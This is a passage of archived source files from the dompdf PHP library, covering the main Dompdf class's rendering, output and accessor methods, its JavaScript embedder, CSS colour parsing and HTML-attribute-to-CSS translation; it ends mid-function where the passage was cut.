            $this->canvas = CanvasFactory::get_instance($this, $this->paperSize, $this->paperOrientation);
            $this->fontMetrics->setCanvas($this->canvas);
        }

        $canvas = $this->canvas;

        $root_frame = $this->tree->get_root();
        $root = Factory::decorate_root($root_frame, $this);
        foreach ($this->tree as $frame) {
            if ($frame === $root_frame) {
                continue;
            }
            Factory::decorate_frame($frame, $this, $root);
        }

        // Add meta information
        $title = $this->dom->getElementsByTagName("title");
        if ($title->length) {
            $canvas->add_info("Title", trim($title->item(0)->nodeValue));
        }

        $metas = $this->dom->getElementsByTagName("meta");
        $labels = [
            "author" => "Author",
            "keywords" => "Keywords",
            "description" => "Subject",
        ];
        /** @var \DOMElement $meta */
        foreach ($metas as $meta) {
            $name = mb_strtolower($meta->getAttribute("name"));
            $value = trim($meta->getAttribute("content"));

            if (isset($labels[$name])) {
                $canvas->add_info($labels[$name], $value);
                continue;
            }

            if ($name === "dompdf.view" && $this->parseDefaultView($value)) {
                $canvas->set_default_view($this->defaultView, $this->defaultViewOptions);
            }
        }

        $root->set_containing_block(0, 0, $canvas->get_width(), $canvas->get_height());
        $root->set_renderer(new Renderer($this));

        // This is where the magic happens:
        $root->reflow();

        if (isset($this->callbacks["end_document"])) {
            $fs = $this->callbacks["end_document"];

            foreach ($fs as $f) {
                $canvas->page_script($f);
            }
        }

        // Clean up cached images
        if (!$this->options->getDebugKeepTemp()) {
            Cache::clear($this->options->getDebugPng());
        }

        global $_dompdf_warnings, $_dompdf_show_warnings;
        if ($_dompdf_show_warnings && isset($_dompdf_warnings)) {
            echo '<b>Dompdf Warnings</b><br><pre>';
            foreach ($_dompdf_warnings as $msg) {
                echo $msg . "\n";
            }

            if ($canvas instanceof CPDF) {
                echo $canvas->get_cpdf()->messages;
            }
            echo '</pre>';
            flush();
        }

        if ($logOutputFile && is_writable($logOutputFile)) {
            $this->writeLog($logOutputFile, $startTime);
            ob_end_clean();
        }

        $this->restorePhpConfig();
    }

    /**
     * Writes the output buffer in the log file
     *
     * @param string $logOutputFile
     * @param float $startTime
     */
    private function writeLog(string $logOutputFile, float $startTime): void
    {
        $frames = Frame::$ID_COUNTER;
        $memory = memory_get_peak_usage(true) / 1024;
        $time = (microtime(true) - $startTime) * 1000;

        $out = sprintf(
            "<span style='color: #000' title='Frames'>%6d</span>" .
            "<span style='color: #009' title='Memory'>%10.2f KB</span>" .
            "<span style='color: #900' title='Time'>%10.2f ms</span>" .
            "<span  title='Quirksmode'>  " .
            ($this->quirksmode ? "<span style='color: #d00'> ON</span>" : "<span style='color: #0d0'>OFF</span>") .
            "</span><br />", $frames, $memory, $time);

        $out .= ob_get_contents();
        ob_clean();

        file_put_contents($logOutputFile, $out);
    }

    /**
     * Add meta information to the PDF after rendering.
     *
     * @deprecated
     */
    public function add_info($label, $value)
    {
        $this->addInfo($label, $value);
    }

    /**
     * Add meta information to the PDF after rendering.
     *
     * @param string $label Label of the value (Creator, Producer, etc.)
     * @param string $value The text to set
     */
    public function addInfo(string $label, string $value): void
    {
        $this->canvas->add_info($label, $value);
    }

    /**
     * Streams the PDF to the client.
     *
     * The file will open a download dialog by default. The options
     * parameter controls the output. Accepted options (array keys) are:
     *
     * 'compress' = > 1 (=default) or 0:
     *   Apply content stream compression
     *
     * 'Attachment' => 1 (=default) or 0:
     *   Set the 'Content-Disposition:' HTTP header to 'attachment'
     *   (thereby causing the browser to open a download dialog)
     *
     * @param string $filename the name of the streamed file
     * @param array $options header options (see above)
     */
    public function stream($filename = "document.pdf", $options = [])
    {
        $this->setPhpConfig();

        $this->canvas->stream($filename, $options);

        $this->restorePhpConfig();
    }

    /**
     * Returns the PDF as a string.
     *
     * The options parameter controls the output. Accepted options are:
     *
     * 'compress' = > 1 or 0 - apply content stream compression, this is
     *    on (1) by default
     *
     * @param array $options options (see above)
     *
     * @return string|null
     */
    public function output($options = [])
    {
        $this->setPhpConfig();

        $output = $this->canvas->output($options);

        $this->restorePhpConfig();

        return $output;
    }

    /**
     * @return string
     * @deprecated
     */
    public function output_html()
    {
        return $this->outputHtml();
    }

    /**
     * Returns the underlying HTML document as a string
     *
     * @return string
     */
    public function outputHtml()
    {
        return $this->dom->saveHTML();
    }

    /**
     * Get the dompdf option value
     *
     * @param string $key
     * @return mixed
     * @deprecated
     */
    public function get_option($key)
    {
        return $this->options->get($key);
    }

    /**
     * @param string $key
     * @param mixed $value
     * @return $this
     * @deprecated
     */
    public function set_option($key, $value)
    {
        $this->options->set($key, $value);
        return $this;
    }

    /**
     * @param array $options
     * @return $this
     * @deprecated
     */
    public function set_options(array $options)
    {
        $this->options->set($options);
        return $this;
    }

    /**
     * @param string $size
     * @param string $orientation
     * @deprecated
     */
    public function set_paper($size, $orientation = "portrait")
    {
        $this->setPaper($size, $orientation);
    }

    /**
     * Sets the paper size & orientation
     *
     * @param string|float[] $size 'letter', 'legal', 'A4', etc. {@link Dompdf\Adapter\CPDF::$PAPER_SIZES}
     * @param string $orientation 'portrait' or 'landscape'
     * @return $this
     */
    public function setPaper($size, string $orientation = "portrait"): self
    {
        $this->paperSize = $size;
        $this->paperOrientation = $orientation;
        return $this;
    }

    /**
     * Gets the paper size
     *
     * @return float[] A four-element float array
     */
    public function getPaperSize(): array
    {
        $paper = $this->paperSize;
        $orientation = $this->paperOrientation;

        if (is_array($paper)) {
            $size = array_map("floatval", $paper);
        } else {
            $paper = strtolower($paper);
            $size = CPDF::$PAPER_SIZES[$paper] ?? CPDF::$PAPER_SIZES["letter"];
        }

        if (strtolower($orientation) === "landscape") {
            [$size[2], $size[3]] = [$size[3], $size[2]];
        }

        return $size;
    }

    /**
     * Gets the paper orientation
     *
     * @return string Either "portrait" or "landscape"
     */
    public function getPaperOrientation(): string
    {
        return $this->paperOrientation;
    }

    /**
     * @param FrameTree $tree
     * @return $this
     */
    public function setTree(FrameTree $tree)
    {
        $this->tree = $tree;
        return $this;
    }

    /**
     * @return FrameTree
     * @deprecated
     */
    public function get_tree()
    {
        return $this->getTree();
    }

    /**
     * Returns the underlying {@link FrameTree} object
     *
     * @return FrameTree
     */
    public function getTree()
    {
        return $this->tree;
    }

    /**
     * @param string $protocol
     * @return $this
     * @deprecated
     */
    public function set_protocol($protocol)
    {
        return $this->setProtocol($protocol);
    }

    /**
     * Sets the protocol to use
     * FIXME validate these
     *
     * @param string $protocol
     * @return $this
     */
    public function setProtocol(string $protocol)
    {
        $this->protocol = $protocol;
        return $this;
    }

    /**
     * @return string
     * @deprecated
     */
    public function get_protocol()
    {
        return $this->getProtocol();
    }

    /**
     * Returns the protocol in use
     *
     * @return string
     */
    public function getProtocol()
    {
        return $this->protocol;
    }

    /**
     * @param string $host
     * @deprecated
     */
    public function set_host($host)
    {
        $this->setBaseHost($host);
    }

    /**
     * Sets the base hostname
     *
     * @param string $baseHost
     * @return $this
     */
    public function setBaseHost(string $baseHost)
    {
        $this->baseHost = $baseHost;
        return $this;
    }

    /**
     * @return string
     * @deprecated
     */
    public function get_host()
    {
        return $this->getBaseHost();
    }

    /**
     * Returns the base hostname
     *
     * @return string
     */
    public function getBaseHost()
    {
        return $this->baseHost;
    }

    /**
     * Sets the base path
     *
     * @param string $path
     * @deprecated
     */
    public function set_base_path($path)
    {
        $this->setBasePath($path);
    }

    /**
     * Sets the base path
     *
     * @param string $basePath
     * @return $this
     */
    public function setBasePath(string $basePath)
    {
        $this->basePath = $basePath;
        return $this;
    }

    /**
     * @return string
     * @deprecated
     */
    public function get_base_path()
    {
        return $this->getBasePath();
    }

    /**
     * Returns the base path
     *
     * @return string
     */
    public function getBasePath()
    {
        return $this->basePath;
    }

    /**
     * @param string $default_view The default document view
     * @param array $options The view's options
     * @return $this
     * @deprecated
     */
    public function set_default_view($default_view, $options)
    {
        return $this->setDefaultView($default_view, $options);
    }

    /**
     * Sets the default view
     *
     * @param string $defaultView The default document view
     * @param array $options The view's options
     * @return $this
     */
    public function setDefaultView($defaultView, $options)
    {
        $this->defaultView = $defaultView;
        $this->defaultViewOptions = $options;
        return $this;
    }

    /**
     * @param resource $http_context
     * @return $this
     * @deprecated
     */
    public function set_http_context($http_context)
    {
        return $this->setHttpContext($http_context);
    }

    /**
     * Sets the HTTP context
     *
     * @param resource|array $httpContext
     * @return $this
     */
    public function setHttpContext($httpContext)
    {
        $this->options->setHttpContext($httpContext);
        return $this;
    }

    /**
     * @return resource
     * @deprecated
     */
    public function get_http_context()
    {
        return $this->getHttpContext();
    }

    /**
     * Returns the HTTP context
     *
     * @return resource
     */
    public function getHttpContext()
    {
        return $this->options->getHttpContext();
    }

    /**
     * Set a custom `Canvas` instance to render the document to.
     *
     * Be aware that the instance will be replaced on render if the document
     * defines a paper size different from the canvas.
     *
     * @param Canvas $canvas
     * @return $this
     */
    public function setCanvas(Canvas $canvas)
    {
        $this->canvas = $canvas;
        return $this;
    }

    /**
     * @return Canvas
     * @deprecated
     */
    public function get_canvas()
    {
        return $this->getCanvas();
    }

    /**
     * Return the underlying Canvas instance (e.g. Dompdf\Adapter\CPDF, Dompdf\Adapter\GD)
     *
     * @return Canvas
     */
    public function getCanvas()
    {
        return $this->canvas;
    }

    /**
     * @param Stylesheet $css
     * @return $this
     */
    public function setCss(Stylesheet $css)
    {
        $this->css = $css;
        return $this;
    }

    /**
     * @return Stylesheet
     * @deprecated
     */
    public function get_css()
    {
        return $this->getCss();
    }

    /**
     * Returns the stylesheet
     *
     * @return Stylesheet
     */
    public function getCss()
    {
        return $this->css;
    }

    /**
     * @param DOMDocument $dom
     * @return $this
     */
    public function setDom(DOMDocument $dom)
    {
        $this->dom = $dom;
        return $this;
    }

    /**
     * @return DOMDocument
     * @deprecated
     */
    public function get_dom()
    {
        return $this->getDom();
    }

    /**
     * @return DOMDocument
     */
    public function getDom()
    {
        return $this->dom;
    }

    /**
     * @param Options $options
     * @return $this
     */
    public function setOptions(Options $options)
    {
        // For backwards compatibility
        if ($this->options && $this->options->getHttpContext() && !$options->getHttpContext()) {
            $options->setHttpContext($this->options->getHttpContext());
        }

        $this->options = $options;
        $fontMetrics = $this->fontMetrics;
        if (isset($fontMetrics)) {
            $fontMetrics->setOptions($options);
        }
        return $this;
    }

    /**
     * @return Options
     */
    public function getOptions()
    {
        return $this->options;
    }

    /**
     * @return array
     * @deprecated
     */
    public function get_callbacks()
    {
        return $this->getCallbacks();
    }

    /**
     * Returns the callbacks array
     *
     * @return array
     */
    public function getCallbacks()
    {
        return $this->callbacks;
    }

    /**
     * @param array $callbacks the set of callbacks to set
     * @return $this
     * @deprecated
     */
    public function set_callbacks($callbacks)
    {
        return $this->setCallbacks($callbacks);
    }

    /**
     * Define callbacks that allow modifying the document during render.
     *
     * The callbacks array should contain arrays with `event` set to a callback
     * event name and `f` set to a function or any other callable.
     *
     * The available callback events are:
     * * `begin_page_reflow`: called before page reflow
     * * `begin_frame`: called before a frame is rendered
     * * `end_frame`: called after frame rendering is complete
     * * `begin_page_render`: called before a page is rendered
     * * `end_page_render`: called after page rendering is complete
     * * `end_document`: called for every page after rendering is complete
     *
     * The function `f` receives three arguments `Frame $frame`, `Canvas $canvas`,
     * and `FontMetrics $fontMetrics` for all events but `end_document`. For
     * `end_document`, the function receives four arguments `int $pageNumber`,
     * `int $pageCount`, `Canvas $canvas`, and `FontMetrics $fontMetrics` instead.
     *
     * @param array $callbacks The set of callbacks to set.
     * @return $this
     */
    public function setCallbacks(array $callbacks): self
    {
        $this->callbacks = [];

        foreach ($callbacks as $c) {
            if (is_array($c) && isset($c["event"]) && isset($c["f"])) {
                $event = $c["event"];
                $f = $c["f"];
                if (is_string($event) && is_callable($f)) {
                    $this->callbacks[$event][] = $f;
                }
            }
        }

        return $this;
    }

    /**
     * @return boolean
     * @deprecated
     */
    public function get_quirksmode()
    {
        return $this->getQuirksmode();
    }

    /**
     * Get the quirks mode
     *
     * @return boolean true if quirks mode is active
     */
    public function getQuirksmode()
    {
        return $this->quirksmode;
    }

    /**
     * @param FontMetrics $fontMetrics
     * @return $this
     */
    public function setFontMetrics(FontMetrics $fontMetrics)
    {
        $this->fontMetrics = $fontMetrics;
        return $this;
    }

    /**
     * @return FontMetrics
     */
    public function getFontMetrics()
    {
        return $this->fontMetrics;
    }

    /**
     * PHP5 overloaded getter
     * Along with {@link Dompdf::__set()} __get() provides access to all
     * properties directly.  Typically __get() is not called directly outside
     * of this class.
     *
     * @param string $prop
     *
     * @throws Exception
     * @return mixed
     */
    function __get($prop)
    {
        switch ($prop) {
            case 'version':
                return $this->version;
            default:
                throw new Exception('Invalid property: ' . $prop);
        }
    }
}
vendor/dompdf/dompdf/src/JavascriptEmbedder.php000066600000001641151150443010015621 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf;

/**
 * Embeds Javascript into the PDF document
 *
 * @package dompdf
 */
class JavascriptEmbedder
{

    /**
     * @var Dompdf
     */
    protected $_dompdf;

    /**
     * JavascriptEmbedder constructor.
     *
     * @param Dompdf $dompdf
     */
    public function __construct(Dompdf $dompdf)
    {
        $this->_dompdf = $dompdf;
    }

    /**
     * @param $script
     */
    public function insert($script)
    {
        $this->_dompdf->getCanvas()->javascript($script);
    }

    /**
     * @param Frame $frame
     */
    public function render(Frame $frame)
    {
        if (!$this->_dompdf->getOptions()->getIsJavascriptEnabled()) {
            return;
        }

        $this->insert($frame->get_node()->nodeValue);
    }
}
vendor/dompdf/dompdf/src/Css/Color.php000066600000024712151150443010013675 0ustar00<?php

/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Css;

use Dompdf\Helpers;

class Color
{
    static $cssColorNames = [
        "aliceblue" => "F0F8FF",
        "antiquewhite" => "FAEBD7",
        "aqua" => "00FFFF",
        "aquamarine" => "7FFFD4",
        "azure" => "F0FFFF",
        "beige" => "F5F5DC",
        "bisque" => "FFE4C4",
        "black" => "000000",
        "blanchedalmond" => "FFEBCD",
        "blue" => "0000FF",
        "blueviolet" => "8A2BE2",
        "brown" => "A52A2A",
        "burlywood" => "DEB887",
        "cadetblue" => "5F9EA0",
        "chartreuse" => "7FFF00",
        "chocolate" => "D2691E",
        "coral" => "FF7F50",
        "cornflowerblue" => "6495ED",
        "cornsilk" => "FFF8DC",
        "crimson" => "DC143C",
        "cyan" => "00FFFF",
        "darkblue" => "00008B",
        "darkcyan" => "008B8B",
        "darkgoldenrod" => "B8860B",
        "darkgray" => "A9A9A9",
        "darkgreen" => "006400",
        "darkgrey" => "A9A9A9",
        "darkkhaki" => "BDB76B",
        "darkmagenta" => "8B008B",
        "darkolivegreen" => "556B2F",
        "darkorange" => "FF8C00",
        "darkorchid" => "9932CC",
        "darkred" => "8B0000",
        "darksalmon" => "E9967A",
        "darkseagreen" => "8FBC8F",
        "darkslateblue" => "483D8B",
        "darkslategray" => "2F4F4F",
        "darkslategrey" => "2F4F4F",
        "darkturquoise" => "00CED1",
        "darkviolet" => "9400D3",
        "deeppink" => "FF1493",
        "deepskyblue" => "00BFFF",
        "dimgray" => "696969",
        "dimgrey" => "696969",
        "dodgerblue" => "1E90FF",
        "firebrick" => "B22222",
        "floralwhite" => "FFFAF0",
        "forestgreen" => "228B22",
        "fuchsia" => "FF00FF",
        "gainsboro" => "DCDCDC",
        "ghostwhite" => "F8F8FF",
        "gold" => "FFD700",
        "goldenrod" => "DAA520",
        "gray" => "808080",
        "green" => "008000",
        "greenyellow" => "ADFF2F",
        "grey" => "808080",
        "honeydew" => "F0FFF0",
        "hotpink" => "FF69B4",
        "indianred" => "CD5C5C",
        "indigo" => "4B0082",
        "ivory" => "FFFFF0",
        "khaki" => "F0E68C",
        "lavender" => "E6E6FA",
        "lavenderblush" => "FFF0F5",
        "lawngreen" => "7CFC00",
        "lemonchiffon" => "FFFACD",
        "lightblue" => "ADD8E6",
        "lightcoral" => "F08080",
        "lightcyan" => "E0FFFF",
        "lightgoldenrodyellow" => "FAFAD2",
        "lightgray" => "D3D3D3",
        "lightgreen" => "90EE90",
        "lightgrey" => "D3D3D3",
        "lightpink" => "FFB6C1",
        "lightsalmon" => "FFA07A",
        "lightseagreen" => "20B2AA",
        "lightskyblue" => "87CEFA",
        "lightslategray" => "778899",
        "lightslategrey" => "778899",
        "lightsteelblue" => "B0C4DE",
        "lightyellow" => "FFFFE0",
        "lime" => "00FF00",
        "limegreen" => "32CD32",
        "linen" => "FAF0E6",
        "magenta" => "FF00FF",
        "maroon" => "800000",
        "mediumaquamarine" => "66CDAA",
        "mediumblue" => "0000CD",
        "mediumorchid" => "BA55D3",
        "mediumpurple" => "9370DB",
        "mediumseagreen" => "3CB371",
        "mediumslateblue" => "7B68EE",
        "mediumspringgreen" => "00FA9A",
        "mediumturquoise" => "48D1CC",
        "mediumvioletred" => "C71585",
        "midnightblue" => "191970",
        "mintcream" => "F5FFFA",
        "mistyrose" => "FFE4E1",
        "moccasin" => "FFE4B5",
        "navajowhite" => "FFDEAD",
        "navy" => "000080",
        "oldlace" => "FDF5E6",
        "olive" => "808000",
        "olivedrab" => "6B8E23",
        "orange" => "FFA500",
        "orangered" => "FF4500",
        "orchid" => "DA70D6",
        "palegoldenrod" => "EEE8AA",
        "palegreen" => "98FB98",
        "paleturquoise" => "AFEEEE",
        "palevioletred" => "DB7093",
        "papayawhip" => "FFEFD5",
        "peachpuff" => "FFDAB9",
        "peru" => "CD853F",
        "pink" => "FFC0CB",
        "plum" => "DDA0DD",
        "powderblue" => "B0E0E6",
        "purple" => "800080",
        "red" => "FF0000",
        "rosybrown" => "BC8F8F",
        "royalblue" => "4169E1",
        "saddlebrown" => "8B4513",
        "salmon" => "FA8072",
        "sandybrown" => "F4A460",
        "seagreen" => "2E8B57",
        "seashell" => "FFF5EE",
        "sienna" => "A0522D",
        "silver" => "C0C0C0",
        "skyblue" => "87CEEB",
        "slateblue" => "6A5ACD",
        "slategray" => "708090",
        "slategrey" => "708090",
        "snow" => "FFFAFA",
        "springgreen" => "00FF7F",
        "steelblue" => "4682B4",
        "tan" => "D2B48C",
        "teal" => "008080",
        "thistle" => "D8BFD8",
        "tomato" => "FF6347",
        "turquoise" => "40E0D0",
        "violet" => "EE82EE",
        "wheat" => "F5DEB3",
        "white" => "FFFFFF",
        "whitesmoke" => "F5F5F5",
        "yellow" => "FFFF00",
        "yellowgreen" => "9ACD32",
    ];

    /**
     * @param array|string|null $color
     * @return array|string|null
     */
    static function parse($color)
    {
        if ($color === null) {
            return null;
        }

        if (is_array($color)) {
            // Assume the array has the right format...
            // FIXME: should/could verify this.
            return $color;
        }

        static $cache = [];

        $color = strtolower($color);

        if (isset($cache[$color])) {
            return $cache[$color];
        }

        if ($color === "transparent") {
            return $cache[$color] = $color;
        }

        if (isset(self::$cssColorNames[$color])) {
            return $cache[$color] = self::getArray(self::$cssColorNames[$color]);
        }

        // https://www.w3.org/TR/css-color-4/#hex-notation
        if (mb_substr($color, 0, 1) === "#") {
            $length = mb_strlen($color);
            $alpha = 1.0;

            // #rgb format
            if ($length === 4) {
                return $cache[$color] = self::getArray($color[1] . $color[1] . $color[2] . $color[2] . $color[3] . $color[3]);
            }

            // #rgba format
            if ($length === 5) {
                if (ctype_xdigit($color[4])) {
                    $alpha = round(hexdec($color[4] . $color[4])/255, 2);
                }
                return $cache[$color] = self::getArray($color[1] . $color[1] . $color[2] . $color[2] . $color[3] . $color[3], $alpha);
            }

            // #rrggbb format
            if ($length === 7) {
                return $cache[$color] = self::getArray(mb_substr($color, 1, 6));
            }
            
            // #rrggbbaa format
            if ($length === 9) {
                if (ctype_xdigit(mb_substr($color, 7, 2))) {
                    $alpha = round(hexdec(mb_substr($color, 7, 2))/255, 2);
                }
                return $cache[$color] = self::getArray(mb_substr($color, 1, 6), $alpha);
            }

            return null;
        }

        // rgb( r g b [/α] ) / rgb( r,g,b[,α] ) format and alias rgba()
        // https://www.w3.org/TR/css-color-4/#rgb-functions
        if (mb_substr($color, 0, 4) === "rgb(" || mb_substr($color, 0, 5) === "rgba(") {
            $i = mb_strpos($color, "(");
            $j = mb_strpos($color, ")");

            // Bad color value
            if ($i === false || $j === false) {
                return null;
            }

            $value_decl = trim(mb_substr($color, $i + 1, $j - $i - 1));

            if (mb_strpos($value_decl, ",") === false) {
                // Space-separated values syntax `r g b` or `r g b / α`
                $parts = preg_split("/\s*\/\s*/", $value_decl);
                $triplet = preg_split("/\s+/", $parts[0]);
                $alpha = $parts[1] ?? 1.0;
            } else {
                // Comma-separated values syntax `r, g, b` or `r, g, b, α`
                $parts = preg_split("/\s*,\s*/", $value_decl);
                $triplet = array_slice($parts, 0, 3);
                $alpha = $parts[3] ?? 1.0;
            }

            if (count($triplet) !== 3) {
                return null;
            }

            // Parse alpha value
            if (Helpers::is_percent($alpha)) {
                $alpha = (float) $alpha / 100;
            } else {
                $alpha = (float) $alpha;
            }

            $alpha = max(0.0, min($alpha, 1.0));

            foreach ($triplet as &$c) {
                if (Helpers::is_percent($c)) {
                    $c = round((float) $c * 2.55);
                }
            }

            return $cache[$color] = self::getArray(vsprintf("%02X%02X%02X", $triplet), $alpha);
        }

        // cmyk( c,m,y,k ) format
        // http://www.w3.org/TR/css3-gcpm/#cmyk-colors
        if (mb_substr($color, 0, 5) === "cmyk(") {
            $i = mb_strpos($color, "(");
            $j = mb_strpos($color, ")");

            // Bad color value
            if ($i === false || $j === false) {
                return null;
            }

            $values = explode(",", mb_substr($color, $i + 1, $j - $i - 1));

            if (count($values) != 4) {
                return null;
            }

            $values = array_map(function ($c) {
                return min(1.0, max(0.0, floatval(trim($c))));
            }, $values);

            return $cache[$color] = self::getArray($values);
        }

        // Invalid or unsupported color format
        return null;
    }

    /**
     * @param array|string $color
     * @param float $alpha
     * @return array
     */
    static function getArray($color, $alpha = 1.0)
    {
        $c = [null, null, null, null, "alpha" => $alpha, "hex" => null];

        if (is_array($color)) {
            $c = $color;
            $c["c"] = $c[0];
            $c["m"] = $c[1];
            $c["y"] = $c[2];
            $c["k"] = $c[3];
            $c["alpha"] = $alpha;
            $c["hex"] = "cmyk($c[0],$c[1],$c[2],$c[3])";
        } else {
            if (ctype_xdigit($color) === false || mb_strlen($color) !== 6) {
                // invalid color value ... expected 6-character hex
                return $c;
            }
            $c[0] = hexdec(mb_substr($color, 0, 2)) / 0xff;
            $c[1] = hexdec(mb_substr($color, 2, 2)) / 0xff;
            $c[2] = hexdec(mb_substr($color, 4, 2)) / 0xff;
            $c["r"] = $c[0];
            $c["g"] = $c[1];
            $c["b"] = $c[2];
            $c["alpha"] = $alpha;
            $c["hex"] = sprintf("#%s%02X", $color, round($alpha * 255));
        }

        return $c;
    }
}
vendor/dompdf/dompdf/src/Css/AttributeTranslator.php000066600000044001151150443010016625 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Css;

use Dompdf\Frame;
use Dompdf\Helpers;

/**
 * Translates HTML 4.0 attributes into CSS rules
 *
 * @package dompdf
 */
class AttributeTranslator
{
    static $_style_attr = "_html_style_attribute";

    // Munged data originally from
    // http://www.w3.org/TR/REC-html40/index/attributes.html
    // http://www.cs.tut.fi/~jkorpela/html2css.html
    private static $__ATTRIBUTE_LOOKUP = [
        //'caption' => array ( 'align' => '', ),
        'img' => [
            'align' => [
                'bottom' => 'vertical-align: baseline;',
                'middle' => 'vertical-align: middle;',
                'top' => 'vertical-align: top;',
                'left' => 'float: left;',
                'right' => 'float: right;'
            ],
            'border' => 'border: %0.2Fpx solid;',
            'height' => '_set_px_height',
            'hspace' => 'padding-left: %1$0.2Fpx; padding-right: %1$0.2Fpx;',
            'vspace' => 'padding-top: %1$0.2Fpx; padding-bottom: %1$0.2Fpx;',
            'width' => '_set_px_width',
        ],
        'table' => [
            'align' => [
                'left' => 'margin-left: 0; margin-right: auto;',
                'center' => 'margin-left: auto; margin-right: auto;',
                'right' => 'margin-left: auto; margin-right: 0;'
            ],
            'bgcolor' => 'background-color: %s;',
            'border' => '_set_table_border',
            'cellpadding' => '_set_table_cellpadding', //'border-spacing: %0.2F; border-collapse: separate;',
            'cellspacing' => '_set_table_cellspacing',
            'frame' => [
                'void' => 'border-style: none;',
                'above' => 'border-top-style: solid;',
                'below' => 'border-bottom-style: solid;',
                'hsides' => 'border-left-style: solid; border-right-style: solid;',
                'vsides' => 'border-top-style: solid; border-bottom-style: solid;',
                'lhs' => 'border-left-style: solid;',
                'rhs' => 'border-right-style: solid;',
                'box' => 'border-style: solid;',
                'border' => 'border-style: solid;'
            ],
            'rules' => '_set_table_rules',
            'width' => 'width: %s;',
        ],
        'hr' => [
            'align' => '_set_hr_align', // Need to grab width to set 'left' & 'right' correctly
            'noshade' => 'border-style: solid;',
            'size' => '_set_hr_size', //'border-width: %0.2F px;',
            'width' => 'width: %s;',
        ],
        'div' => [
            'align' => 'text-align: %s;',
        ],
        'h1' => [
            'align' => 'text-align: %s;',
        ],
        'h2' => [
            'align' => 'text-align: %s;',
        ],
        'h3' => [
            'align' => 'text-align: %s;',
        ],
        'h4' => [
            'align' => 'text-align: %s;',
        ],
        'h5' => [
            'align' => 'text-align: %s;',
        ],
        'h6' => [
            'align' => 'text-align: %s;',
        ],
        //TODO: translate more form element attributes
        'input' => [
            'size' => '_set_input_width'
        ],
        'p' => [
            'align' => 'text-align: %s;',
        ],
//    'col' => array(
//      'align'  => '',
//      'valign' => '',
//    ),
//    'colgroup' => array(
//      'align'  => '',
//      'valign' => '',
//    ),
        'tbody' => [
            'align' => '_set_table_row_align',
            'valign' => '_set_table_row_valign',
        ],
        'td' => [
            'align' => 'text-align: %s;',
            'bgcolor' => '_set_background_color',
            'height' => 'height: %s;',
            'nowrap' => 'white-space: nowrap;',
            'valign' => 'vertical-align: %s;',
            'width' => 'width: %s;',
        ],
        'tfoot' => [
            'align' => '_set_table_row_align',
            'valign' => '_set_table_row_valign',
        ],
        'th' => [
            'align' => 'text-align: %s;',
            'bgcolor' => '_set_background_color',
            'height' => 'height: %s;',
            'nowrap' => 'white-space: nowrap;',
            'valign' => 'vertical-align: %s;',
            'width' => 'width: %s;',
        ],
        'thead' => [
            'align' => '_set_table_row_align',
            'valign' => '_set_table_row_valign',
        ],
        'tr' => [
            'align' => '_set_table_row_align',
            'bgcolor' => '_set_table_row_bgcolor',
            'valign' => '_set_table_row_valign',
        ],
        'body' => [
            'background' => 'background-image: url(%s);',
            'bgcolor' => '_set_background_color',
            'link' => '_set_body_link',
            'text' => '_set_color',
        ],
        'br' => [
            'clear' => 'clear: %s;',
        ],
        'basefont' => [
            'color' => '_set_color',
            'face' => 'font-family: %s;',
            'size' => '_set_basefont_size',
        ],
        'font' => [
            'color' => '_set_color',
            'face' => 'font-family: %s;',
            'size' => '_set_font_size',
        ],
        'dir' => [
            'compact' => 'margin: 0.5em 0;',
        ],
        'dl' => [
            'compact' => 'margin: 0.5em 0;',
        ],
        'menu' => [
            'compact' => 'margin: 0.5em 0;',
        ],
        'ol' => [
            'compact' => 'margin: 0.5em 0;',
            'start' => 'counter-reset: -dompdf-default-counter %d;',
            'type' => '_set_list_style_type',
        ],
        'ul' => [
            'compact' => 'margin: 0.5em 0;',
            'type' => '_set_list_style_type',
        ],
        'li' => [
            'type' => '_set_list_style_type',
            'value' => 'counter-reset: -dompdf-default-counter %d;',
        ],
        'pre' => [
            'width' => 'width: %s;',
        ],
    ];

    protected static $_last_basefont_size = 3;
    protected static $_font_size_lookup = [
        // For basefont support
        -3 => "4pt",
        -2 => "5pt",
        -1 => "6pt",
        0 => "7pt",

        1 => "8pt",
        2 => "10pt",
        3 => "12pt",
        4 => "14pt",
        5 => "18pt",
        6 => "24pt",
        7 => "34pt",

        // For basefont support
        8 => "48pt",
        9 => "44pt",
        10 => "52pt",
        11 => "60pt",
    ];

    /**
     * @param Frame $frame
     */
    static function translate_attributes(Frame $frame)
    {
        $node = $frame->get_node();
        $tag = $node->nodeName;

        if (!isset(self::$__ATTRIBUTE_LOOKUP[$tag])) {
            return;
        }

        $valid_attrs = self::$__ATTRIBUTE_LOOKUP[$tag];
        $attrs = $node->attributes;
        $style = rtrim($node->getAttribute(self::$_style_attr), "; ");
        if ($style != "") {
            $style .= ";";
        }

        foreach ($attrs as $attr => $attr_node) {
            if (!isset($valid_attrs[$attr])) {
                continue;
            }

            $value = $attr_node->value;

            $target = $valid_attrs[$attr];

            // Look up $value in $target, if $target is an array:
            if (is_array($target)) {
                if (isset($target[$value])) {
                    $style .= " " . self::_resolve_target($node, $target[$value], $value);
                }
            } else {
                // otherwise use target directly
                $style .= " " . self::_resolve_target($node, $target, $value);
            }
        }

        if (!is_null($style)) {
            $style = ltrim($style);
            $node->setAttribute(self::$_style_attr, $style);
        }
    }

    /**
     * @param \DOMNode $node
     * @param string $target
     * @param string $value
     *
     * @return string
     */
    protected static function _resolve_target(\DOMNode $node, $target, $value)
    {
        if ($target[0] === "_") {
            return self::$target($node, $value);
        }

        return $value ? sprintf($target, $value) : "";
    }

    /**
     * @param \DOMElement $node
     * @param string $new_style
     */
    static function append_style(\DOMElement $node, $new_style)
    {
        $style = rtrim($node->getAttribute(self::$_style_attr), ";");
        $style .= $new_style;
        $style = ltrim($style, ";");
        $node->setAttribute(self::$_style_attr, $style);
    }

    /**
     * @param \DOMNode $node
     *
     * @return \DOMNodeList|\DOMElement[]
     */
    protected static function get_cell_list(\DOMNode $node)
    {
        $xpath = new \DOMXpath($node->ownerDocument);

        switch ($node->nodeName) {
            default:
            case "table":
                $query = "tr/td | thead/tr/td | tbody/tr/td | tfoot/tr/td | tr/th | thead/tr/th | tbody/tr/th | tfoot/tr/th";
                break;

